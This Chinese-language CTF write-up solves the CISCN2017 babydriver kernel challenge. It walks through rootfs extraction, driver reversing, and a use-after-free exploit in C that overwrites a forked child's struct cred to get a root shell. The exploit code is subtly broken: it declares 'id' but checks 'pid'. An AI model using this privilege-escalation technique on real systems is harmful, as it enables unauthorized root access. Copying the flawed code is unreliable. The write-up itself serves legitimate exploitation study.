---
# System prepended metadata

title: 'kernel exploit practice: uaf'
tags: [exploitation]

---

# kernel exploit practice: uaf
###### tags: `exploitation`
一題在 ctf-wiki 當作範例的 kernel use after free 題目，做完之後覺得也不是很難，但很多東西沒摸過要弄出來滿有挑戰性的

[題目](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver)和[解法](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/) ctf-wiki 都有，我就附個網址

## 分析
### extract cpio
其實放題目的 repo 內已經有 babydriver.ko 了，不過為了要多學一點東西，我們還是按步驟來
1. create a folder:
```bash
mkdir fs
```
2. move rootfs.cpio to fs and rename to rootfs.cpio.gz:
```bash
cd fs; mv ../rootfs.cpio ./rootfs.cpio.gz
```
3. extract by gunzip:
```bash
gunzip ./rootfs.cpio.gz
```
4. extract by cpio:
```bash
cpio -idmv < rootfs.cpio
```

之前找了一堆 cpio 解壓縮的方法都會出現亂碼，結果看了 ctk-wiki 上面的操作就好了....這啥鬼做法？

### 分析 init
有了整個 file system ，可以看一下 kernel 啟動後會幹嘛，主要是透過 init 這個 script:
```bash=+
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f
```
可以看到 line 10 把 driver 給 load 起來，除此之外好像沒啥特別的

### 分析 babydriver.ko
老樣子用 ida 來分析

由於前兩個實驗都是自己寫 driver 然後自己 pwn ，所以我其實沒用 IDA 分析過 driver 的經驗...，這次算是不錯的體驗

可以看到裡面的 function
![](https://i.imgur.com/fkxpMpt.png)

init 和 exit 不用多說，前者是 insmod 把 module load 進 kernel 會跑的 function ，後者則是 rmmod 會跑的，那其他的呢？

我第一個遇到的問題就是不知道 function 呼叫先後順序，其實這個 driver 裡面的 function 比較像是用來呼叫的 API (其他 driver 我不敢亂說XD) 

char device driver 提供一系列跟 file 類似操作，換句話說可以對這個 device 做 open, read, write 等等操作，原理是 char device driver 裡面有個結構 fops 放各種操作的 function pointer ，在 init 時就透過 chdev_init 注冊 fops ，當使用 open(/path/to/driver, 2); 就會去 fops 裡面跟 open 做對應的是哪個 function 再呼叫

可以看到控制 device 的 babyioctl 定義了 0x10001 的命令，具體來說就是
```c=
 if ( (_DWORD)command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    LODWORD(v5) = _kmalloc(sz, 0x24000C0LL);
    babydev_struct.device_buf = (char *)v5;
    babydev_struct.device_buf_len = sz;
    printk("alloc done\n");
    result = 0LL;
```
可以簡單想成在 kernel 內申請任意大小的 memory 

另外 babywrite, babyread 則分別透過 copy_from_user(從 user 複製資料進到 kernel) 和 copy_to_user(反向操作)達成

另外看到 release ，猜測應該是對應的 close 部分，就是簡單的 kfree 而已

## 利用
一個 device driver load 到 kernel ，則整個 kernel 裡面就只有這個 process ，不論有幾個程式去使用這個 device 都只有一個 device driver 在工作，所以資源也是共享的，我一開始以為是數個程式工作會將資源區隔開來

babydriver.ko 裡面有一個 babydev_struct 結構體，最重要的是他是**全域變數**

假若有兩個程式同時跟 babydriver 互動，兩者用的 babydev_struct 是同一個，這就會出現一個問題：
程式 A  free 掉 babydev_struct 中的 buf 後程式 B 依然能讀取寫入 babydev_struct 中的 buf，這邊就出現了一個 uaf 漏洞
> 當然未必要兩個程式，一個程式 open 兩次也是一樣
> 

要如何利用這個 uaf 呢？按照老套路肯定是要修改 struct cred 內的 uid gid 等變數，而一個程式剛生出來的時候也會需要申請一塊空間來存放該結構，那就很清楚了：
1. 開啟兩個 fd 跟 device 交互 (因為要 uaf)
2. 對 fd1 用 ioctl 要一塊 struct cred 同樣大小的空間 A
3. close 其中一個 fd1 ，因為 babyrelease 的關係，剛剛分出來的空間 A 會 kfree() 掉，但另一個 fd 仍然可以讀寫 (uaf)
4. 透過 fork() 來弄出新的 process ， kernel 會從剛剛 free 掉的空間拿找一個符合大小的裝 struct cred ，也就是空間 A (size: 0xa8)
5. parent 可以放著不用管， child 的部分透過 fd2 對 babydev_struct.buf write 一堆 0 (改寫 uid 來提權)
> 我想了下 parent 可不可以提權，思考後覺得不妥，因為若由 parent 改寫 struct cred ， child 要弄出 shell 的時間很難抓，倒不如由 child 自己改寫後再開 shell 來的簡單
7. 透過 getuid() 判斷是否為 root ，是的話就彈 shell 出來

exploit:
```c=
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);
    
    pid_t id = fork();
    if(pid)
        wait(NULL);
    else if(!pid)
    {
        char zeros[30] = {0};
        write(fd2, zeros, 28);
        if(getuid() == 0)
        {
            system("/bin/sh");
            exit(0);
        }
    }
    else
    {
        puts("something wrong");
    }
    close(fd2);
    return 0;
}
```

寫好並用 static 編譯好後將執行檔放入 file system ，在 file system 根目錄下用以下命令打包:
```bash
find . | cpio -o --format=newc | gzip -9 > ../rootfs.cpio
```

再用 boot.sh 啟動即可


## 坑點
### Debug
嚴格來說不太能算是一個完整的 debug ，畢竟我沒看到最後，但 debug 過程中我遇到一些問題：

* qemu 用 -S -s arg ，再用 gdb remote 連上後會出現 reply packet too long .... 之類的錯誤:
我找了一下發現是由於 qemu 讓 gdb remote 連上去的時候還是 protected mode 但最後是 64bit 也就是 long mode ， gdb 卻沒跟著修改導致，解決方法:
    * 修改 gdb source code 並重新編譯
    * 連上去進到 long mode 後 disconnect 重新設定 arch 為 i386:x86-64 再重新連上去
    
### text address
因為想著要 debug 必須 add-symbol-file 然後要給 text address ， text address 可以透過 lsmod 或是 /sys/modules/babydriver/sections/.text 獲得